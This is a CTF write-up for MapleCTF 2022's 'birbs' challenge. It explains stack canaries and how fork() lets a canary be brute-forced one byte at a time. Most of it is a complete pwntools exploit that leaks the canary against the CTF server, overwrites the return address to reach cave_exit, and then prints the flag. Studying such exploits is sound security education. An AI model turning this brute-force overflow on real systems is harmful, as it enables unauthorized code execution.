[pwn] what is canary and how to bruteforce it [MapleCTF2022]

0x0 Introduction

In maple ctf 2022 (more write up at here). There is a quesiton require bruteforcing canary

To be honest, this is the first time I got practice on brute-forcing canary.

0x1 What is Canary

so, before talking about brute force canary. What is canary

Basically, canary is a mitigation that prevent buffer overflow. Since buffer over utilize the overflow the variable on the stack to overwrite rbp and rip. This could help attacker to execute arbitrary code by constructing a rop chain or something. The canary can help prevent simple buffer overflow by put a cookie just above the RBP.

Lets take look at what should stack looks like after canary is enbled.

1
2
3
4
5
6
7
8
RSP     - 
- local variables.......
- ....
-
RBP-8 - Canary is here !!!!

RBP - some rbp address
RIP - some rip address

We can see canary place a cookie just above RBP, so if an attacker overwrites the stack, for example - overwrite rip, canary is also overwrited.

Before return to rip, bianry will check if canary is same as before, if canary is different, it means there is a buffer overflow happening.

2022-01-30_025619.jpg

0x2 How to bypass canary

so, if canary is open, how can we bypass it.

First method is just find way to overwrite rip without overwrite the canary. For example, use printf. Or use some bug in the system that may allow you to write data to RIP.

Second method is brute force the canary.

0x3 Lets brute force a canary

Lets use birbs as an example.

in the find_exit(), it first fork the program, than runs guess_exit()

fork() is very important here. If the program use fork, the canary in the subroutine will always be the same. Which means the canary of which guess_exit() will always be the same.

This give us a chance of brute focre the canary of guess_exit and overwrite the data

2022-01-30_031511.jpg

The guess_exit also provide us an opportunity to overwrite the whole stack.

2022-01-30_031808.jpg

The opinion of brute force canary is very simple. Since a canary is 8 byte. We just test one byte by byte.

If the program crash, it means it is not the correct byte, if program not crash, we save the byte and move to next byte. Until all 8 byte of canary leak.

0x4 exploits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *


class BinaryInfo:
exe = "birbs"
libc = ""

host = "birbs.ctf.maplebacon.org"
port = 32021


# Set up pwntools for the correct architecture
exe = context.binary = ELF(BinaryInfo.exe)
exe_rop = ROP(exe)
if BinaryInfo.libc != "":
libc = ELF(BinaryInfo.libc)
libc_rop = ROP(libc)
else:
libc = None
libc_rop = None


# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or BinaryInfo.host
port = int(args.PORT or BinaryInfo.port)


def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io


def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)


# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())


def log_print(*msg):
log.info(" ".join(map(str,msg)))

lp = log_print

def int2byte(x: int):
return x.to_bytes(exe.bytes, "little")


# ======== gadget stuff =========
ret_addr = exe_rop.find_gadget(['ret'])[0]
# ============================

io = start()


canary = [b'' for i in range(8)]

for i in range(8):
for b in range(256):
bb = b.to_bytes(0x1,"little")
io.sendlineafter(b"Give up.\n",b'1')
# 0x30 -0x8 = 0x28
stack = flat({
0x0: b'A'*0x28,
0x28: canary[:i:],
0x28+i: bb
})
lp("guessing canary #%d bytes with byte %x: " % (i,b),stack)
io.sendafter(b"9223372036854775807)\n",stack)
result = io.recvuntil(b"\n")
# canary bytes found
if result.startswith(b"That wasn't the exit."):
lp("canary #%d bytes found %x: " % (i,b))
canary[i] = bb
break
else:
continue

log_print("canary leak", canary)
cave_exit_addr = exe.sym["cave_exit"]
log_print("cave_exit addr", hex(cave_exit_addr))


io.sendlineafter(b"Give up.\n",b'1')
stack = flat({
0x0: b'A'*0x28,
0x28: canary,
0x30: b'A'*8,
0x30+0x8: [
ret_addr,
cave_exit_addr
]
})
log_print("sending payload",stack)
io.sendafter(b"9223372036854775807)\n",stack)

io.interactive()

0x5 flag

maple{f0110W_T4E_B1rB5_T0_TH3_3x1T_562asddw126}